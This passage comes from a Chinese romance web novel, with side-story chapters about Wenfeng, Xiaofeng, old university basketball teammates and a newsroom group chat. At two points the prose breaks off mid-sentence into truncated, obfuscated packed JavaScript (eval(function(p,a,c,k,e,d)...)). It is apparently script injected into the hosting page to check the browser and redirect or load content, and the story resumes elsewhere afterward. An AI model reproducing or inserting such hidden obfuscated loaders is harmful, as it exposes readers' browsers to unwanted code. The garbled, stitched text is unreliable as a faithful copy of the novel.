晓枫右手一抬,我闪身一躲。看着她气鼓鼓的样子,我乐不可支。 “晓枫,真的,女生都是这样的,选个什么都不如自己的闺蜜当陪衬,才显得自己哪哪都行。” “那还是我蠢?!” 我转了严肃脸:“后来,我知道了,我这样的心态是不自信的表现。喜欢跟你在一起,是因为你单纯、善良、乐观、宽容、坚强、善解人意……”我扳着手指头,一点一点细数,偷偷看着晓枫。 “说,你继续说。”晓枫已经快气成泡芙阿姨了。 “我实在编不下去了,不……不是,是找不到合适的形容词。放过我吧,看在我今天这么受伤的份上。” “今天暂且放过你,你再敢这样,撤了你干妈的职。” 我拱手致歉,“万万不行,那五个孩子,我太爱了。我还想跟你们结娃娃亲呢。我和黄鑫到时候生一个儿子,四个女儿……” 后来,婚礼的筹备都是晓枫陪着我。她还给我选了一首歌,让我在婚礼上唱给黄鑫听。 她说努力追爱的人最美!——《我的誓言》周柏豪 17.有你的快乐[番外] 我气哄哄地走进院子,四叔路过我,伸头往后望去:“晓枫呢?” 那语气好像是晓枫不回来就不行一样。 刚进门,妈妈就问我:“晓枫呢?” 我不耐烦的说:“不知道。” 妈妈更直接:“那你回来干什么?” 我给了每个人一个眼神杀,希望他们闭嘴,不要再提“晓枫”这个名字。 哥哥拿着手机,往后院去了。 他又回来,叫走了妈妈,把手机递给妈妈。 妈妈一边走远,一边说:“晓枫……” 生气、生气、生气……就没有人关心我吗? 我气鼓鼓地坐在餐桌前,看着端上来的菜更生气,都是那个小妖精喜欢吃的菜,清蒸鳜鱼、椒盐基围虾、油渣莲白、黄油煎口蘑……连米饭都是为了她蒸的带有鹰嘴豆的杂粮饭。 我讨厌鹰嘴豆,我讨厌杂粮饭,我讨厌晓枫。 晓枫却那么讨人喜欢。 她跟小七去参加高中同学聚会,小七跟她又不是一个班的,聚什么会? 她不知道,‘同学聚会,拆散一对是一对’吗? 她不知道,同学聚会要带家属去的吗? …… 开饭了,连个跟我盛饭的人都没有,只有哥哥跟我拿了一双筷子。 我就看着他们吃,听着他们聊。 四叔还在追问:“晓枫呢?你们打电话,她怎么说?” 妈妈搭话说:“刚才跟晓枫打电话,她说不知道今天有家庭聚会。她跟甄康还有几个车友,去了K市,去参加一个摩托车文化展,还有两场比赛。” 听到这里,我抬起头看着妈妈,因为我也不知道晓枫去哪里了。 妈妈继续说:“前天就出发了,明天一场比赛,后天一场比赛,最快后天晚上回。” 妈妈是说给我听的。 妈妈把手机放在桌子上,她说:“刚才她发了几张照片。这次比赛,她用一款新车出赛。” 爸爸拿过手机就开始翻看照片,左滑右滑,然后把手机放回桌上,往我和四叔的方向推了过来,说:“这个新车还蛮适合晓枫的,她看起来玩得也挺开心。” 四叔没有给我机会,直接拿起手机,翻看着照片,有点担忧的说:“换了新车,这么短的时间,不知道她能不能适应。车辆驾驶体验不一样、操控性不一样,心理压力也大,比赛中还有不确定的天气因素、场地因素,不知道他们车队有没有应急预案。” 四叔放下手机,妈妈着急的说:“我去给晓枫打个电话。”说完,她拿着手机就往沙发那边去了。 我竖起耳朵,努力捕捉每一个声音信号。 “晓枫,你在干什么? 吃饭啊? 我们正在吃饭。今天做了好多你喜欢吃的菜,好可惜,你没有回来。 好好,你想回来吃,随时跟阿姨说。 不麻烦,怎么会麻烦呢。换了新车,适应训练累不累? 那你多吃点。 哈哈,晓枫你嘴真甜。 阿姨知道。四叔听说你换了新车,担心时间太短,你不熟悉新车的操作。 好,你训练那么刻苦,比赛的时候肯定没有问题。 嗯,保护好自己,注意比赛节奏,好好享受! 不用客气,我们是一家人嘛。 晚上早点睡觉,好好休息。拜拜!” 妈妈又重新回到餐桌旁,划拉了下手机,从通话界面重又回到图片的界面,又把手机推到我和四叔的方向。 我的双手仿佛被施了魔法,中了千斤重的铅块咒,沉甸甸地垂在腿上。任凭大脑如何疯狂地发出指令,可双手却没有接收到信号的迹象,只能一动不动。 吃饭,都在吃饭,除了我。妈妈把刚才跟晓枫通话的内容,给大家复述了一遍,话题围绕着晓枫又展开了…… 我刷地一下站起身,哥哥眼疾手快扶住了椅子。 “你们就知道关心晓枫,有没有人关心下我?” 妈妈最先开口了:“你今天打球累不累?” 爸爸也开口了:“这个学期的巡回比赛是不是下个月开始?” 二叔也问:“大三了,公共课还有几门?” 四叔也来凑热闹:“寒假要不要跟我们一起去滑雪?” 七嘴八舌,好吵。 …… 沉默过后,妈妈说:“文枫,我们问什么你都不会说,晓枫跟你一起回家,她是你的代言人,只有她愿意跟我们聊天。不是我们不关心你,是你拒绝我们的关心。” 妈妈叹了一口气,接着说:“只有晓枫才能忍受你这种臭脾气。” “我对她不这样。”我终于会说话了。 妈妈反问:“今天回家之前,你知道晓枫去哪里了吗?” 我无话可说。 妈妈语重心长的说:“你拒绝沟通,不管是晓枫还是我们,都没有办法。” 四叔插话了:“是不是吵架了?” “没有”。我仍怔愣在餐桌旁。 “肯定没有,你这种冷暴力更伤人。”妈妈有点无奈地说。 “是她不对在先。”我连忙抢白。 “你说,我们给你评评理。”四叔接过话。 又是死一般的沉默…… 这天晚上,我没有回去,回去晓枫也不在家。 我又死皮赖脸去找哥哥,他在书房,对着笔记本电脑,我到他对面坐下,仍然看不到他的脸。他只说了一句,“想说就说。” 他对着笔记本电脑,一直在忙活。 他仍然保持坐姿,看不出他的表情:“你不说,我帮不了你。” “晓枫跟小七去参加高中同学聚会,也不带我一起去,她都不愿意把我介绍给她的朋友,她俩高中也不是一个班的,不知道她是不是去见高中时候的暗恋对象什么的。”我说了一个长句。 哥哥偏过头,一脸嘲笑的看着我,笑出了鹅叫声。 他又压了压嘴角,“还说不说?” 我起身转身就走了,太可恶了。 第三天晚上,我回家去了,妈妈说晓枫最快今天晚上会回来。 我到家的时候,家里亮着灯。我加快脚步,晓枫,晓枫,我的宝贝儿。 我打开房门,一瞬恢复冷面。她从楼上跑下来,已经洗了澡,换了家居服,张开双手冲过来抱着我,她双手只能环到我的胸,好香,我的心被猛地揪了一下。 我没有回应她的拥抱,不知道她感受到我的“冷漠”没有。 她好像还没有满足,一直这样抱着,还使劲在我身上蹭着,嘴里,还在说:“我好想你。” “我也特别想你。”我在心里说着,仍然没有回应她的拥抱。 她松开双手,转身去书桌,边走边说:“我把照片给你看看。” 我走到客厅沙发上坐下,晓枫也走过来坐在我身边,离得好近。 她挑出一张照片,对我说:“这次甄康给我选的Honda CBR250R,也是一款很棒的车,很容易操控。” 见我没有反应,晓枫重又选了几张照片:“跟你讲摩托车很无聊吧,那你看看我的照片。” 她一边滑着手机,一边喋喋不休:“这张是我们到的那天,逛街的时候拍的,这个雕塑好有趣,像桃子,又像屁股。” “这张照片是甄康给我拍的,我正在试车,算了,这张好丑,不看了。” “你看,我的号码簿,1029,是你的生日,我特地选的,就像你陪着我在比赛一样。” …… “你是不是不舒服?”她试了试我的额温,又接着说:“肯定是累了,赶紧去洗澡睡觉吧?” 她把我从沙发上拽起来,在背后推着我上了二楼,把我关进了卫生间。 过了一会,她又敲门,给我拿进来一套家居服,捂着自己眼睛的手故意漏一个指缝:“你快脱吧。”然后笑嘻嘻得退出了卫生间。 我满脑子都是她身上那缕只属于她的芬芳,像醇香的酒,我深深沉溺其中,难以自拔。 等我平复心绪,洗完澡,从卫生间出来,她已经睡着了。 她紧闭的双眼,长长的睫毛在脸颊上投下淡淡的阴影。 每一次的呼吸都像在我的心尖上拨动的音符。 微微嘟起的嘴唇,刚才还跟我讲述着。 我斜靠在床头,一只手环抱着她的肩膀,这样真的让我无比的安心。 第二天早晨,我醒来的时候,床边是空空的。这个小妖精,又去哪里呢? 我拿起手机,上面有几条信息。 晓枫:母婴店今天店庆活动,我去帮忙,晚上回来。爱你! 哥哥:我起来了,吃完早餐,过去找你们,9点半到。 我一看时间,8点半。正好有时间洗澡换衣服,然后出门去买了早餐。吃完早餐,9点半,哥哥到了。 “哥,开车来了吗?” 哥哥有点疑惑:“开车来了,要去哪里?” “宁海综合购物中心。” “现在去吗?” “嗯,我可以走了。” 我们出发了,往购物中心去,我今天要去看看,她到底搞什么。 在车上,哥哥首先开口了:“晓枫没有回来吗?” 见我没有回答,哥哥继续说:“昨天你走了,我以为她回来了。就想着今天来看看,你们俩是怎么回事。爸爸妈妈都不放心。” 我下定决心了,跟哥哥说:“哥,我怀疑晓枫有问题。她最近很奇怪,参加同学聚会就不说了,她参加车赛和去小七店里帮忙的频率越来越高,完全没有时间陪我。” 哥哥又笑了:“你觉得自己被冷落了?” 我不解的看着他:“我是她男朋友,我们连坐下来吃饭的时间都没有,更别说……昨天晚上她在家里,我洗完澡她睡着了。一大早她又出门了。原来不会这样的。”我有点想哭了。 哥哥稍微侧头看了我一眼:“你别瞎想。” 我沮丧地低着头,不再说话。 到了购物中心,母婴店店庆的活动场地,人潮汹涌,有亲子游戏场地,有健康咨询展台,有销售展台……好不热闹 我和哥哥远远坐着看着她忙碌的身影,一会到展台补货,一会又奔向收银台;一会帮顾客抱着孩子,一会又给顾客介绍产品…… 哥哥只问了我一句:“你今天要不要跟她把话聊开?” 没有得到我的答复,他没再说话,只是静静看着。 中饭的时间,人群被餐厅门店吸引,这边人慢慢少了。晓枫在安抚奶嘴展架那里理货,小七走到她身边,拍了她的肩膀一下,凑在她的耳朵边上,说着什么。晓枫转过头,捂着自己的嘴巴,一副不敢置信的神情,给了小七一个吻,然后双手抱着小七,跳起来。小七也抱着她,小七也抱着她…… 哥哥紧紧盯着我,生怕我冲动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼泪还在留,脑子还是空白的,但是手手脚脚都有自己的想法,起身,换衣服,下楼吃早餐…… 哥哥拿着手机走到餐桌旁,递到我嘴边,“是晓枫,她找你。” 电话是免提状态…… “晓枫。”我声音有点哽咽。 “文枫,你手机关机,我打给文清哥。有个事情要跟你说。”晓枫小心翼翼的说。 “我知道,别说了。我马上回来。”我呜咽着。 “你知道?刚发生的事情,你怎么知道的?”晓枫话语中充满了疑惑。 “你说什么?”我眼泪生生被憋了回去。 “我的脚崴了,不能动,你能不能快点回来?” “等我”…… 情绪都哄到那里了,可不可以骂两句脏话,这个小妖精,就是不能让我省心。 流星赶月、疾如旋踵…… 没有伤到骨头,右脚踝韧带部分撕裂,红肿和淤血明显。医生嘱咐要修养好,避免出现慢性踝关节不稳的问题。 又回到家里的时候,都接近晚餐的时间了,饿了三天,情绪大起大落,我已经被抽空了,瘫软在沙发上。 晓枫拄着拐,在妈妈的搀扶下,坐到我的身边,她在摸我的脸,还有我的头发,她贴着我的脸,说:“文枫,你瘦了,对不起!” 我睁开眼睛,往她的怀里靠了靠,枕在她的锁骨上,贪婪的嗅着她脖颈处的香味,手指还在她的手臂上轻轻摩挲,“晓枫,对不起!” 调整了一会,我问她:“我的生日礼物呢?” 晓枫略显尴尬的说:“前几天才拍到,包裹还在路上,可能还得一周时间才会到。” “好好好,那你欠我一份生日礼物。” “好吧,先欠着。” 我从沙发上站起来,伸了个懒腰,跟全家宣布:“今天是我的生日,最好的生日礼物就是你们都在,特别是晓枫。给你一个特权,今天可以要求我做一件事,我绝不拒绝。” “唱歌给我听。”晓枫把这个要求脱口而出。 我有点点后悔,“回家去唱给你一个人听吧!” 晓枫摇摇头:“你不能拒绝,现在就唱。” 我真的悔啊,“你想听什么歌?英语歌不能点。” 《有你的快乐》 我怎么都不想睡 天特别亮,夜特别的黑 当我深深的呼吸 心中充满想你的甜蜜 想和你走在雨中 想要你牵我的手 傻傻的你不敢说爱 而我也故意要你为我等待 说不出有多么快乐 还是不够,这感觉这一切 就好像飘在外太空 别的星球,只有我们存在 喜欢和你在一起 无聊的生命也变有趣 让你听我的音乐 分享在每一刻的心情 在一起越来越久 开始会对你在乎 这感觉我们都明白 只要你在身边,日子就亮起来 说不出有多么快乐 还是不够,这感觉这一切 就好像飘在外太空 别的星球,只有我们存在 ……这首歌代替了《生日快乐歌》我唱了三遍,唱给我的晓枫听。 18.修炼眼神[番外] 我和老婆在宁海综合购物中心逛街,我曾是宁海大学篮球队的队长,身高接近2米,在人群中显得格外突兀。 我老婆余丹丹曾是篮球啦啦队的队长,身高1米76,尽管怀着宝宝,可除了那微微隆起的腹部外,身体其他部分依旧保持着往日的曼妙。她轻盈的步伐,修长的四肢,纤细的腰肢,优雅的体态。 我们就那样泰然自若地走着,路人投来的目光像是拂过耳边的微风,丝毫不能扰乱我们的步伐。无论是好奇的、疑惑的还是略带艳羡的目光,我们的眼神始终平静,没有一丝波澜,仿佛置身于一个只属于我们的世界。 此时,我们的目光却被一对夫妻吸引,路过他们身边,我和老婆都像被点了穴一般停住了。我微微皱了皱眉头,眼睛里闪过一丝疑惑,对了一个眼神,我喉咙有些干涩,小声问她:“老婆,刚才,那个男人,是不是……?” 她惊讶地张开了嘴巴,眼睛瞪得大大的,像是看到了什么不可思议的事情,吐出三个字:“姜文枫?”声音里带着明显的不确定和惊讶。 我连连摇头,像是要把这个荒谬的想法从脑海里甩出去,“不可能。” 我心里想着,这不可能。 我们侧头望向那对夫妻的背影,男人个子大概有1米8,没有姜文枫高,身材比姜文枫略健硕些,他走路的姿势很沉稳。 旁边的女人,个子不高,一头乌黑的头发柔顺得贴着后背。 老婆有些急切地拉拉我的衣袖,那动作带着一种难以抑制的好奇和冲动,她的眼睛紧紧盯着那对夫妻的背影,压低声音说:“你去看看,那个女人是不是饶晓枫?” 我迟疑了,脚步像是生了根一样挪不动,我挠了挠头,反问:“这不好吧?”我心里很纠结,一方面好奇是不是真的是他们,另一方面又觉得这样贸然去探究别人很不礼貌。 老婆急了,眼睛里闪过一丝恼怒,“你别做得那么明显,蠢啊。”她的手不自觉地握成了拳头,像是在给自己打气。 我思考着,怎么做才能不那么明显呢?我这么大个目标,要是走过去肯定很容易被发现。我挠着头,眼睛四处乱转,试图寻找一个合适的办法。 老婆急了,直接转身朝那两人的背影追了过去,“饶晓枫。”她直接喊出了声,那声音在购物中心里回荡,吸引了周围一些人的目光。 那个女人回头,先是一愣,眼睛里满是疑惑。 我心里一惊,心想这也太直接了。但还是加快脚步追上我老婆,挽着她的手一起走到那两人身边。 我的心跳有些加快,不知道为什么,感觉像是要揭开一个重大的秘密。 正面看着那个女人,我才敢肯定,她就是饶晓枫。她的面容和记忆中的一样,只是多了一些成熟的韵味。 但是她身边的男人,是那么像姜文枫,我不敢相信。我的眼睛紧紧盯着那个男人,试图从他的脸上找到更多的答案,心里像是有一团乱麻,怎么也理不清。 倒是饶晓枫,先开口了。她站在那儿,眼睛睁得大大的,像是看到了什么极其意外的景象,嘴唇哆嗦着吐出几个字:“你,你,你们……“ 她用手指直直地指向我,然后手指平移,又指向我老婆,最后手指和目光一起下移,定格在我老婆的孕肚上,眼神里满是惊讶与感慨。 我这才注意到她也是个孕妇。肚子圆滚滚地向前凸着,似乎比我老婆的大很多。 她的脸上瞬间绽放出灿烂的笑容,那笑容如同冬日里的暖阳,驱散了周围的寒意。嘴角上扬的弧度恰到好处,像是抑制不住内心的兴奋,急切地拉过旁边男人的手臂。 她侧过身子兴奋地介绍说:“老公,这是大学篮球队的队长,井忠炜。” 然后,她又看向我老婆,笑容变得更加温柔,“这是……他老婆,篮球啦啦队队长余丹丹。”她的眼神里带着一丝崇拜,像是又回到了大学时光。 她自顾自地低头窃语:“原来校园神话是真的。” 接着,她再次面向我们,眼神里带着一种满足和幸福,轻轻拉了拉她老公的手,介绍说:“这是我老公,姜文清。” 我听到这个名字的时候,心里“咯噔”一下。我呆呆地站在那里,目光像是被磁石吸引一般,紧紧盯着他的脸。那是一张和姜文枫九成像的脸,熟悉的轮廓,相似的眉眼,那眉眼间还带着一种幸福的笑意。 我的脑海里瞬间像过电影一样,浮现出姜文枫的样子,各种回忆纷至沓来。我心里既惊讶又疑惑,不知道这是怎样的一种巧合。 我有些机械地伸出手,和姜文清握了握手,嘴里吐出一句:“你好!” 可我的目光依然停留在他的脸上,想要从他的脸上找到更多与姜文枫有关的痕迹。我的心跳不由自主地加快,仿佛有无数个问题想要问出口,却又不知从何说起。我老婆似乎察觉到了我的异样,她轻轻挽住我的手臂,手指在我的手臂上轻轻捏了一下,像是在提醒我,我失态了。 我老婆先开了口,她的眼睛里带着一丝惊喜:“晓枫,逛街呢?” “嗯。买待产包的东西,双胞胎需要准备的东西多。”晓枫羞怯地低下头,她那纤细的手指轻轻抚摸着自己圆滚滚的孕肚,脸上泛着淡淡的红晕。 “双胞胎啊,晓枫,你好幸福!现在多少周了?”我老婆也惊到了,眼睛睁得大大的,满是羡慕。 “22周,快23周了。你呢?”晓枫一边回答,一边伸手来摸我老婆的孕肚,动作轻柔得像是怕惊扰了肚子里的小生命。 “21周,跟你差不多。”我老婆牵起她的手,拉着那只手在自己的孕肚上缓缓摩挲着,眼神里满是温柔。 “你身材保持的好,我长胖了好多。”晓枫有些尴尬地扯了扯自己的衣角。 “不会,晓枫,双胞胎嘛,营养需求比较大,等生了之后再减。我们预产期时间差不多哦,好巧。”我老婆笑着安慰她。 “我们找地方坐下来聊吧。”姜文清突然打断了她们俩的聊天,他的目光落在晓枫的脚上,带着一丝担忧,“我老婆,孕后期容易肿脚。”姜文清继续解释着,眼睛里满是关切。 两个女人对视了一下,那眼神仿佛在无声地交流着什么。晓枫挑了挑眉,我老婆轻轻点了点头,然后晓枫开口问道:“你们赶不赶时间?” “没事,找地方坐下来聊吧。”我老婆爽快地回答。 我们四个人来到一家咖啡馆。晓枫挽着姜文清的手,缓缓走向一个靠窗的位置,我拖着老婆的手,跟在后面。 “我去给她们点两杯牛奶,姜先生,你需要什么?”我对姜文清说道。 姜文清答我:“不用了,我马上走,谢谢你!”他的脸上带着一丝歉意。 我们疑惑地看着他,晓枫见状,赶忙解释说:“车子要做保养,跟店里预约的时间到了,他现在要过去。” 姜文清顺势起身,他的动作很轻,像是怕惊扰到周围的人。他微微弯下腰,脸贴脸跟晓枫耳语,那神情专注而温柔:“我把车开过去就回来,很快。外套,给你。”说完,他脱掉外套,搭在晓枫的孕肚和腿上,然后跟我们招呼了一声,便匆匆离开了。 我终于问出了憋在心里很久的问题,我心里像是有只小猫在挠,迫不及待地想知道答案:“他是谁?他跟姜文枫是什么关系?” 晓枫有些诧异,她的眼睛微微睁大,说:“他是文枫的哥哥。” “哥哥?”我和老婆都从对方脸上读出了不可置信。我感觉自己的脑子像是突然卡壳了,这完全出乎我们的意料。 我老婆很快就恢复了理智,她深吸了一口气,像是在努力让自己镇定下来,然后说道:“是怎么回事,晓枫。”她的眼睛紧紧盯着晓枫,眼神里充满了探寻。 晓枫陷入了深深的回忆…… 我老婆轻轻伸手握住晓枫的手,说:“晓枫,你好勇敢。” 晓枫从思绪中回到现实,她深吸了一口气,眼神逐渐变得坚定起来,像是从内心深处汲取了力量:“文清给我的勇气。”说罢,她端起面前的牛奶,轻抿了一口。接着,她换上了初见时那种兴奋的笑脸,眼睛里闪烁着好奇的光芒:“说说你们的事情吧,我很想知道。” 我老婆的脸微微泛红,有点尴尬地说:“晓枫,你记不记得拍照那件事?” “嗯。”晓枫点了点头,脑袋像小鸡啄米似的,眼睛里带着回忆的神色,“后来我们拍的东西都收回了,之后的宣传用的都是你们俩的照片啊。怎么了?” 我老婆也陷入了深深的回忆之中,她的眼睛望向远方,说:“当时姜文枫只丢下一句‘我不跟她合作’就走了,他真的好可恶,我还是第一次被人那么直接的拒绝。”她的眉头微微皱起,心里像是堵了一块石头,既委屈又气愤。 晓枫忍不住噗呲笑出声来,似乎想到了姜文枫当时的模样:“这个做法太文枫了。” 我老婆继续说着,她的语速变得缓慢起来,像是在仔细地整理着思绪:“后来我们拍的个人照,都没有问题。但是两个教练都说我们的合照没有眼神交流。” 晓枫像是听到了一个新奇的事情,侧了侧头,眼睛里满是好奇与兴趣,耳朵也像是竖起来了一样。 “所以我们俩就开始修炼眼神。”我接过我老婆的话。说完这话,我发现我老婆的脸更红了。我也害羞地低下头,那些和她一起修炼眼神的回忆涌上心头。 晓枫捂着嘴巴,可还是能感觉到她笑得更大声了,肩膀不停地颤抖着:“那文枫还是你们的媒人,这个媒人红包不能少,哈哈哈。” “笑什么呢?”姜文清的声音传来,他快步走来,轻轻抚着晓枫的肩膀,温柔地坐在她的身边,眼睛里满是宠溺。 “原来文枫是他们两个人的媒人。”她笑着跟姜文清说,脸上洋溢着幸福的笑容。 姜文清笑着回了一句:“这么有趣吗?”他的嘴角上扬,眼神里带着一丝好奇。 我和我老婆对了个眼神,我心里有些犹豫,不知道该不该继续姜文枫的话题,我老婆的眼神里也带着一丝担忧。姜文清似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜文清轻轻地把晓枫的头靠向自己,他的手温柔地摸着晓枫的脸,眼神里满是怜惜:“文枫跟你在一起的那几年,是最开心的。”晓枫听到这句话,眼泪终于冲破了眼眶的防线,夺眶而出,她的声音带着哭腔:“我应该更关心他一些。” “晓枫,姜文枫在认识你之后,变了很多。”我深吸一口气,决定把姜文枫篮球队的一些事情告诉她。 晓枫正了正身子,用手擦了擦眼泪,眼睛里带着一丝期待:“是吗?” “是的。在高中的时候,他作为队长,在球队打中锋,每次比赛,他在球场可谓是众星捧月。但是升到大学后,你知道的,他身体单薄,和那些高大强壮的对手相比,他的体能和体型都并不适合中锋的位置。教练找他谈话,希望他改打得分后卫的时候,我看到他眼神里的光一下子就黯淡了。那阵子,他整个人都很迷茫。他虽然很努力在适应新位置,可是每次训练跑位的时候,就像在梦游似的,脚步凌乱又迟缓。”我一边说着,一边回忆着当时的场景。 姜文清和晓枫都流露出担忧的神情,我接着说:“好像是大一升大二的暑假,假期前半段的集训,他连去都没去。但是后半段的集训他就按时报道了,当他再次出现在球场上的时候,就跟变了个人一样。他的眼神里充满了坚定,不再抗拒教练对他新位置的安排,也理解了教练这个安排背后的合理性。除了每天的队内训练,他还额外给自己加练,每天400个三分球。我记得那个时候的他,无论多累,眼睛里始终燃烧着对胜利的渴望,那是一种没有什么能够动摇的信念。有时候看他手都抬不起来了,我就劝他歇会,他总一脸憨笑地对我说‘我不想我女朋友失望’。他还用不出赛去‘威胁’教练,一定要安排你随啦啦队出行。” 我老婆也插话了,她轻轻拍了拍晓枫的肩膀:“原本啦啦队的名单里面是没有你的。” 晓枫愣住了,她的眼睛睁得大大的,脸上满是惊讶和懊悔:“但是我只看了他一场比赛,就走了。”姜文清递给晓枫一张纸巾,两个人的手紧紧交握在一起,像是在互相传递力量。 晓枫低着头,她的声音小得像蚊子:“他一定很失望。”她的心里像是被一块大石头压着,沉甸甸的,满是愧疚。 我安慰晓枫到:“没有。我们也陪他一起去看了你的摩托车比赛,记得吗?那场比赛,你是第一名,当你冲过终点线的时候,文枫激动得跳了起来。你很好地激励了他,后面几场比赛,他都戴着你送的那个护腕,场均得分超过30分,全队第一。放在全国大学生联赛来说,都无人能及。” 晓枫笑着流下泪,那笑容里有感动,有懊悔,也有对过去美好回忆的珍视。 “我知道了。”晓枫点点头。 姜文清仍然握着晓枫的手,“谢谢你们,今天说的这些,对我们来说,很珍贵。曾经文枫和晓枫是彼此最重要的人,我不知道,我现在有没有取代文枫在晓枫心中的位置,但是我会用我的方式来守护她,请你们放心!” 晓枫感动得双手环住姜文清的脖颈,“老公,我爱你!” “收到,我也爱你!”也是那种爱人之间,不必修炼就拥有的,柔波荡漾的,炽热浓烈的,眷恋不舍的眼神。 19.明天开始[番外] 字字珠玑:大家刚才辛苦了! 字字珠玑:赶紧吧。 字字珠玑:各部门通力合作。广播电台、电视台、网络、纸媒,注意各环节的时间节点 @声临其境 @光影捕手 @流量为王 @纸媒时光 声临其境:收到,老大! 流量为王:Yes,sir! 纸媒时光:收到 光影捕手:OK.JPG 光影捕手:刚才发布会,老大给我安排的角度不错,有几张照片跟大家分享,拿走不谢。 光影捕手: IMG_20230323_094558.JPG IMG_20230323_100223.JPG IMG_20230323_100640.JPG IMG_20230323_100710.JPG IMG_20230323_100800.JPG IMG_20230323_101611.JPG IMG_20230323_102003.JPG IMG_20230323_102209.JPG IMG_20230323_102912.JPG IMG_20230323_104605.JPG IMG_20230323_104726.JPG IMG_20230323_104830.JPG IMG_20230323_105022.JPG IMG_20230323_105114.JPG IMG_20230323_110052.JPG IMG_20230323_110124.JPG IMG_20230323_110359.JPG IMG_20230323_110638.JPG 纸媒时光:谢谢大佬分享! 新闻猎手:感谢分享! 三体广播站:搬运中,我不辛苦…… 幻象旅人:这角度绝了,感谢~~ AB漫游:被迫营业.JPG 追踪者:这张,姜文清这个神情,反手一个赞。 IMG_20230323_105022.JPG 声纹小师妹:@光影捕手 照片很大程度可以反映摄像师对拍摄对象的看法。 光影捕手:实不相瞒,姜文清确实很man,再拍几场,我都要被掰弯了。 流量为王:掉筷子.GIF 滔滔不绝:帅气多金,温柔多情,我也喜欢,男的女的,都无所谓,捂嘴笑.JPG 黑洞洞:我以为你会说,死的活的,都无所谓。 滔滔不绝:@黑洞洞 你太重口味了。 新闻猎手:大新闻,速来围观。 字字珠玑:@声纹小师妹 很有哲理的观点,你再说说看。 声纹小师妹:谢谢老大!原来摄像的老师说过,如果摄像师带着欣赏的眼光,那么照片里的人可能会展现出积极、美好的一面。比如,在人像摄影中,摄影师捕捉到拍摄对象最灿烂的笑容或者最专注的神情,那说明摄影师看到了这个人的活力或者认真的特质。 流量为王:崇拜.JPG 光影捕手:确实是这样,@声纹小师妹点赞.JPG 幻影忍者:学习了,小师妹。为什么进了声音组?挖墙脚.JPG 声纹小师妹:我没有摄影天赋,感触很多,有想法,脑子会,手不会。 流量为王:哥哥教你。 星球督查:这角度,我承认我慕了。 星球督查:老大,你偏心! 流量为王:有没有视频分享? 声纹小师妹:@流量为王 你又想干什么? 流量为王:@声纹小师妹 你来我办公位,我告诉你,我要干什么。 声纹小师妹:嫌弃.JPG 声纹小师妹:逃跑.JPG 流量为王:等等我~~ 幻象旅人:对待小师妹要耐心点,你犯了大忌。 字字珠玑:@光影捕手 视频不能发 光影捕手:@字字珠玑收到,老大! 流量为王:H5需要视频资料,老大,求放过。 流量为王:@光影捕手 小窗。 光影捕手:忙…… 时间规划师:@流量为王 没有困难,创造困难,也要上。安慰.GIF 声临其境:@流量为王 你又欺负我家小朋友,信不信,我过来找你? 流量为王:看不见我.GIF 声临其境:@星球督查 老大可在群里面。 星球督查:给你们看看我的角度。 IMG_20230323_094226.JPG IMG_20230323_094705.JPG IMG_20230323_100619.JPG IMG_20230323_104946.JPG IMG_20230323_110148.JPG 星球督查:你们评评理,是不是偏心? 信史:狗头.JPG 声临其境:心疼你一秒。 流量为王:哈哈哈哈,原谅我不厚道的笑了。不是背影就是侧影。扣工资没有? 星球督查:我何辜?! 光影捕手:用我的吧,拿走,不谢! 光影捕手:@字字珠玑 老大,@一下所有人,我的图片是授权的,可以发的。 字字珠玑:收到。 字字珠玑:@所有人 @光影捕手 所分享的照片都是收钱的。 字字珠玑:@所有人 都是手欠的。 字字珠玑:@所有人 都是授权的。 光影捕手:老大,可以撤回,尴尬.JPG 字字珠玑:错就错了。 黑洞洞:@字字珠玑老大,把那个小记者拉进群里面来吧,他那里应该有更多可以用的照片,或者文字资料。 声纹小师妹:拉进群+1 星球督查:拉进群+1 光影捕手:拉进群+1 三体广播站:拉进群+1 流量为王:拉进群+10086 “字字珠玑”邀请你加入了群聊,群聊参与人还有:光影捕手、声纹小师妹、黑洞洞、星球督查、纸媒时光、新闻猎手、三体广播站、时间规划师、幻象旅人、追踪者、滔滔不绝、流量为王、平行宇宙、声临其境、AB漫游、幻影忍者、信史 流量为王:欢迎新人! 新闻猎手:呱唧呱唧,热烈欢迎。 AB漫游:向优秀者学习,膜拜.JPG 滔滔不绝:欢迎新朋友,你配享太庙。 时间规划师:@字字珠玑老大,新人进群,发红包。 流量为王:@字字珠玑老大,新人进群,发红包。 平行宇宙:@字字珠玑老大,新人进群,发红包。 星球督查:炸出好多潜水王。 时间规划师:@星球督查 你歪楼了,眼神杀.JPG 声纹小师妹:@明天开始奋斗 您好! 流量为王:@声纹小师妹 大胆点 声纹小师妹:@明天开始奋斗 你好! 流量为王:@声纹小师妹 翻白眼.JPG 声临其境:@流量为王 你还来。 字字珠玑:有新人在。 流量为王:立正.JPG 流量为王:站好.JPG 流量为王:下次不敢.JPG 字字珠玑:@明天开始奋斗 你好!方便的时候跟大家分享你报道这个新闻的心得体会。重点总结下:遇到的困难和解决思路。大家相互学习,共同进步。当然,也希望你多分享一些照片。 流量为王:老大,V587 滔滔不绝:@明天开始奋斗 请开始你的分享 AB漫游:铺地毯.JPG 声纹小师妹:我特别期待 流量为王:同款期待中…… 明天开始奋斗:闭嘴.JPG 三体广播站:就知道是这个结局。 流量为王:苍天啊.JPG 流量为王:大地啊.JPG 流量为王:跳钢管舞.JPG 流量为王:来呀,快活呀.JPG 字字珠玑:撤回 流量为王:发就发了 声临其境:弱弱问一句,是追杀令还是给得太多? 流量为王:隔墙有耳.JPG 幻影忍者:围观中.JPG 追踪者:这总可以说吧 信史:委屈巴巴.JPG 幻象旅人:我猜是追杀令 平行宇宙:追杀令,赌1块 光影捕手:给得太多,赌2 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滔滔不绝:姜家不屑用白噪弹这招,太low。 